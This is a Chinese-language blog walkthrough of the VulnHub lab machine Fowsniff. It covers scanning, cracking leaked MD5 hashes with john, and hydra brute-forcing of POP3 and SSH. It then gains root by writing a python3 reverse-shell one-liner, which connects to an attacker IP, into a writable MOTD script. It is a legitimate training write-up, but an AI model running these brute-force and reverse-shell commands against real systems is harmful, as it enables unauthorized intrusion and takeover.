[VulnHub靶机渗透] Fowsniff

时间:2024-02-18 08:21:17
???? 博主介绍

????‍???? 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
????点赞➕评论➕收藏 == 养成习惯(一键三连)????
????欢迎关注????一起学习????一起讨论⭐️一起进步????文末有彩蛋
????作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nikto漏洞扫描

nmap漏洞扫描

二、渗透测试+信息收集

1、web渗透

2、目录扫描

3、信息收集

4、pop3渗透测试

三、提权

1、信息收集

2、反弹shell

3、flag


前言

靶机精讲之Fowsniff靶机,涉及诸多信息收集,比如web信息收集、媒体网站信息收集、工具站信息收集、pop3服务器信息收集,还涉及john和hydra密码暴力破解,crackmapexec密码碰撞,ssh的banner脚本提权等,可以到vulnhub下载靶机边看视频边实操,是一台构思精巧、全面磨练日常渗透技能的的高仿真靶机,非常值得学习。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.31.185

┌──(root????kali)-[~]
└─# arp-scan -l

2、端口扫描

发现开放了22、80、110、143端口,发现110端口开放了pop3服务

pop3 是一种 Internet 邮件访问协议,它允许用户通过客户端应用程序(如电子邮件客户端)从邮件服务器接收电子邮件。Dovecot pop3d 是一个开源的 pop3 服务器软件,用于提供 pop3 访问服务。

┌──(root??kali)-[~]
└─# nmap -sS -A -p- 192.168.31.185 

3、漏洞扫描

nikto漏洞扫描

利用nikto漏洞扫描工具,简单地扫描到了一些目录文件,访问发现,对于渗透测试没有什么价值

┌──(root????kali)-[~]
└─# nikto -h 192.168.31.185

nmap漏洞扫描

nmap扫描发现一些目录,比如robots.txt关键目录可以尝试访问下,还扫描发现了CVE:CVE-2007-6750漏洞以及sql注入漏洞,我们后面如果还是对靶场没有什么突破,我们到时候就可以回到这里进行验证下。

┌──(root????kali)-[~]
└─# nmap --script=vuln -p22,80,110,143 192.168.31.185 

漏洞:CVE:CVE-2007-6750,是用于攻击一些恶意网站,使其恶意网站瘫痪,访问不了的作用,有点像ddos攻击,感兴趣的师傅们可以尝试一下。

二、渗透测试+信息收集

1、web渗透

发现web页面没有找到什么有价值的信息,就是告诉我们这个网站被黑客攻击,然后网站停运了,说什么员工管理员的信息泄露之类的,目前看没有什么有价值的 。

右击查看网页源代码,没有发现什么隐藏的信息

一般可能会存在框架漏洞,但是这里没有发现什么框架漏洞

2、目录扫描

目录扫描发现比之前多了一个/security.txt目录,我们尝试访问下

┌──(root??kali)-[~]
└─# dirb http://192.168.31.185 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -X .php,.txt
  • http://192.168.31.185这是您指定的目标 URL,即要进行目录扫描的网站地址。
  • -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt这个参数用来指定字典文件的位置。在这里,您使用了 -w 参数并提供了一个字典文件的路径 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
  • -X .php,.txt这个参数指定了要排除的文件扩展名。在这个命令中,您使用 -X 参数并列出了 .php.txt,这意味着 Dirb 将会扫描到的 URL 中排除这些特定的文件类型。

/security.txt,

这段文本描述了一个名为 “FOWSNIFF” 的组织(可能虚构),声称他们被 “B1gN1nj4” 攻击并被完全控制(pwned)。看到这里我们想到开始80端口web页面,有一个推特的账号,说什么信息泄露的,我们可以尝试上网找下信息

3、信息收集

利用Google浏览器查找@fowsniffcorp Twitter,第一个就是下面的内容,这个图片很明显是黑客攻击网站成功以后,挂的黑页,我们尝试点击FowSniff - Explained. - Pastebin.com

我们发现下面有passwd密码的信息,所以我们尝试访问下面的.txt文件,查找密码有关的信息

发现很多的账号密码,密码进行了加密,后面我们需要对密码进行解密操作,然后还发现pop3,我们开始端口扫描也发现了这个,很有可能作者就是要让我们pop3进行登录查看信息

把这些内容保存到文档中

mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e

利用hash-identifier,发现是MD5加密的,我们可以利用john进行解密

┌──(root????kali)-[~/桌面]
└─# hash-identifier "8a28a94a588a95b80163709ab4313aa4"
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

用john破解一下,指定字典为rockyou.txt:

┌──(root????kali)-[~/桌面]
└─# john --format=RAW-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash

4、pop3渗透测试

把利用john解密出来的保存到pop3hash文件中

┌──(root????kali)-[~/桌面]
└─# vim pop3hash  
                                                                                                                                                                           
┌──(root????kali)-[~/桌面]
└─# cat pop3hash  
scoobydoo2       (seina@fowsniff)
orlando12        (parede@fowsniff)
apples01         (tegel@fowsniff)
skyler22         (baksteen@fowsniff)
mailcall         (mauer@fowsniff)
07011972         (sciana@fowsniff)
carp4ever        (mursten@fowsniff)
bilbo101         (mustikka@fowsniff)

将用户信息和密码信息分别保存:

┌──(root????kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $1}'                                                                                                                         1 ⨯ 1 ⚙
scoobydoo2
orlando12
apples01
skyler22
mailcall
07011972
carp4ever
bilbo101

                                                                                                                                                                           
┌──(root????kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $1}' > pop3pwd                                                                                                                   1 ⚙
                                                                                                                                                                           
┌──(root????kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}'                                                                                                   1 ⚙
(seina
(parede
(tegel
(baksteen
(mauer
(sciana
(mursten
(mustikka

                                                                                                                                                                           
┌──(root????kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}'                                                                         1 ⚙
seina
parede
tegel
baksteen
mauer
sciana
mursten
mustikka

                                                                                                                                                                           
┌──(root????kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}' > pop3usrs                                                              1 ⚙
                                                                                                                                                                           
┌──(root????kali)-[~/桌面]
└─# ls                                                                                                                                                                 1 ⚙
CTF   Docker    hash     pop3hash  pop3usrs    pop3pwd   

如今我们已经有了pop3登录的账号和密码了,我们就可以利用hydra九头蛇进行爆破了

发现账号是seina 密码是scoobydoo2

┌──(root????kali)-[~/桌面]
└─# hydra -L pop3usrs -P pop3pwd 192.168.31.185 pop3

发现pop3登录成功了:

┌──(root????kali)-[~/桌面]
└─# telnet 192.168.31.185 110                                                                                                                                        255 ⨯
Trying 192.168.31.185...
Connected to 192.168.31.185.
Escape character is '^]'.
+OK Welcome to the Fowsniff Corporate Mail Server!
user seina
+OK
pass scoobydoo2
+OK Logged in.


获取邮件数量和大小:

stat    // 获取邮件数量和总大小
list    // 列出所有邮件的编号和大小
retr <邮件编号>    // 检索指定邮件内容
top <邮件编号> <行数>    // 检索指定邮件的前几行内容

查看第一个邮件内容,发现stone用户邮件里面有ssh临时登录的密码

list
+OK 2 messages:
1 1622
2 1280
.
retr 1

这是一封来自 “stone@fowsniff” 的邮件,以下是邮件中的一些重要信息:

  • 发件人(From): stone@fowsniff
  • 收件人(To): baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff, mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff, tegel@fowsniff
  • 主题(Subject): URGENT! Security EVENT!
  • 日期(Date): Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
  • 正文内容:邮件提醒公司内部系统遭到恶意攻击,攻击者利用 SQL 数据库中错误过滤的转义字符来访问登录凭据。为了重新建设系统安全,暂时转移到仅具有最小功能的临时服务器,但只能通过 SSH 访问该服务器。SSH 的临时密码为 “S1ck3nBluff+secureshell”,并强调需要尽快更改密码。

查看第二封邮件

这是一封来自 “baksteen@fowsniff” 的邮件,以下是邮件中的一些重要信息:

  • 发件人(From): baksteen@fowsniff
  • 收件人(To):seina@fowsniff
  • 主题(Subject):You missed out!
  • 日期(Date):Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
  • 正文内容:邮件内容提到关于 AJ 的一次会议中发生了一些有趣的事情,AJ 被大家批评了一番。提到 AJ 曾在海军服役,并且一直用粗俗的语言表达自己的情绪。邮件内容还提到发件人开始感到不舒服了,可能也染上了 Devin 带回来的肺炎,希望 Devin 能迅速康复,并提醒 Devin 更改邮箱密码。

我们可以尝试利用hydra九头蛇,利用刚才找到的临时ssh密码去进行与pop3usrs文件里面的账号进行爆破,尝试登录ssh,因为刚才两封邮件里面的账户都是pop3usrs里面的账户

[22][ssh] host: 192.168.31.185   login: baksteen   password: S1ck3nBluff+secureshell
┌──(root????kali)-[~/桌面]
└─# vim pop3pwd                                                                                                                                                  255 ⨯ 2 ⚙
                                                                                                                                                                           
┌──(root????kali)-[~/桌面]
└─# hydra -L pop3usrs -P pop3pwd 192.168.31.185 ssh

ssh登录成功

┌──(root????kali)-[~/桌面]
└─# ssh baksteen@192.168.31.185                                                                                                                                        2 ⚙
The authenticity of host '192.168.31.185 (192.168.31.185)' can't be established.
ECDSA key fingerprint is SHA256:5i4lzzyTeroRL7skmPatRi24vG1+59KMgqHGLyxre9Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.185' (ECDSA) to the list of known hosts.
baksteen@192.168.31.185's password: 

                            _____                       _  __  __  
      :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|  
   :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_   
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|  
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|   
-:      y.      dssssssso                ____                      
-:      y.      dssssssso               / ___|___  _ __ _ __        
-:      y.      dssssssso              | |   / _ \| '__| '_ \     
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _  
-:      o.      yssssssso               \____\___/|_|  | .__/  (_) 
-:    .+mdddddddmyyyyyhy:                              |_|        
-: -odMMMMMMMMMMmhhdy/.    
.ohdddddddddddddho:                  Delivering Solutions


   ****  Welcome to the Fowsniff Corporate Server! **** 

              ---------- NOTICE: ----------

 * Due to the recent security breach, we are running on a very minimal system.
 * Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.


New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36
baksteen@fowsniff:~$ 


三、提权

1、信息收集

sudo提权和crontab自动化任务都没有什么提权的点

baksteen@fowsniff:~$ sudo -l
[sudo] password for baksteen: 
Sorry, user baksteen may not run sudo on fowsniff.
baksteen@fowsniff:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *  * * *  root    cd / && run-parts --report /etc/cron.hourly
25 6  * * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6  * * 7  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
baksteen@fowsniff:~$ 

本来想到家目录查找一下提权的信息,但是都没有权限,没有找到有价值的信息

baksteen@fowsniff:/home$ pwd
/home
baksteen@fowsniff:/home$ ls
baksteen  mauer  mursten  mustikka  parede  sciana  seina  stone  tegel
baksteen@fowsniff:/home$ cd seina
-bash: cd: seina: Permission denied
baksteen@fowsniff:/home$ cd mauer
-bash: cd: mauer: Permission denied
baksteen@fowsniff:/home$ cd tegel
-bash: cd: tegel: Permission denied
baksteen@fowsniff:/home$ 

SUID提权,也没有找到能够直接提权的命令

baksteen@fowsniff:/home$ find / -user root -perm -4000 -print 2>/dev/null
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/ping6
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/sudo
/usr/bin/chsh

尝试内核提权,也没有成功

baksteen@fowsniff:/home$ uname -a
Linux fowsniff 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

后来是查看大佬的博客,发现是找可写入的文件中,然后尝试反弹shell

我们这里需要注意一个小细节:我们需要先切换到/usr目录下(具有可写入权限)

baksteen@fowsniff:/usr$ find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
/opt/cube/cube.sh
/home/baksteen/.cache/motd.legal-displayed
/home/baksteen/Maildir/dovecot-uidvalidity
/home/baksteen/Maildir/dovecot.index.log
/home/baksteen/Maildir/new/1520967067.V801I23764M196461.fowsniff
/home/baksteen/Maildir/dovecot-uidlist
/home/baksteen/.viminfo
/home/baksteen/.bash_history
/home/baksteen/.lesshsQ
/home/baksteen/.bash_logout
/home/baksteen/term.txt
/home/baksteen/.profile
/home/baksteen/.bashrc
baksteen@fowsniff:/usr$ 

我们这里查看下/opt/cube/cube.sh文件的权限,发现是可以写入的权限,我们发现这个文件就是我们开始ssh登录进去的页面,所以说这个文件就是当ssh远程登录的时候,我们拿kali监听,可以尝试写入反弹shell的木马进去,然后得到root权限。

baksteen@fowsniff:/usr$ ls -la /opt/cube/cube.sh
-rw-rwxr-- 1 parede users 851 Mar 11  2018 /opt/cube/cube.sh
baksteen@fowsniff:/usr$ cat /opt/cube/cube.sh
printf "
                            _____                       _  __  __  
      :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|  
   :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_   
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|  
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|   
-:      y.      dssssssso                ____                      
-:      y.      dssssssso               / ___|___  _ __ _ __        
-:      y.      dssssssso              | |   / _ \| '__| '_ \     
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _  
-:      o.      yssssssso               \____\___/|_|  | .__/  (_) 
-:    .+mdddddddmyyyyyhy:                              |_|        
-: -odMMMMMMMMMMmhhdy/.    
.ohdddddddddddddho:                  Delivering Solutions\n\n"

baksteen@fowsniff:/usr$ 

2、反弹shell

这里给师傅们推荐一个蛮好用的自动化写反弹shell木马的网站,页面也是蛮好看的一个网站,我这里选择python3进行反弹shell。

Online - Reverse Shell GeneratorOnline Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.https://www.revshells.com/

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.225",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

┌──(root????kali)-[~/桌面]
└─# nc -lvnp 1234                                                                                                                                                      1 ⚙
listening on [any] 1234 ...

                                                                                                                             
┌──(root????kali)-[~/桌面]
└─# ssh baksteen@192.168.31.185                                                                                              
baksteen@192.168.31.185's password: 

3、flag

反弹shell成功,成功拿到root权限

┌──(root????kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.31.225] from (UNKNOWN) [192.168.31.185] 59410
root@fowsniff:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@fowsniff:/# whoami
whoami
root
root@fowsniff:/# cd /root
cd /root
root@fowsniff:/root# ls -la
ls -la
total 28
drwx------  4 root root 4096 Mar  9  2018 .
drwxr-xr-x 22 root root 4096 Feb 16 11:17 ..
-rw-r--r--  1 root root 3117 Mar  9  2018 .bashrc
drwxr-xr-x  2 root root 4096 Mar  9  2018 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  5 root root 4096 Mar  9  2018 Maildir
-rw-r--r--  1 root root  582 Mar  9  2018 flag.txt
root@fowsniff:/root# cat flag.txt
cat flag.txt
   ___                        _        _      _   _             _ 
  / __|___ _ _  __ _ _ _ __ _| |_ _  _| |__ _| |_(_)___ _ _  __| |
 | (__/ _ \ ' \/ _` | '_/ _` |  _| || | / _` |  _| / _ \ ' \(_-<_|
  \___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)
               |___/ 

 (_)
  |--------------
  |&&&&&&&&&&&&&&|
  |    R O O T   |
  |    F L A G   |
  |&&&&&&&&&&&&&&|
  |--------------
  |
  |
  |
  |
  |
  |
 ---

Nice work!

This CTF was built with love in every byte by @berzerk0 on Twitter.

Special thanks to psf, @nbulischeck and the whole Fofao Team.

root@fowsniff:/root#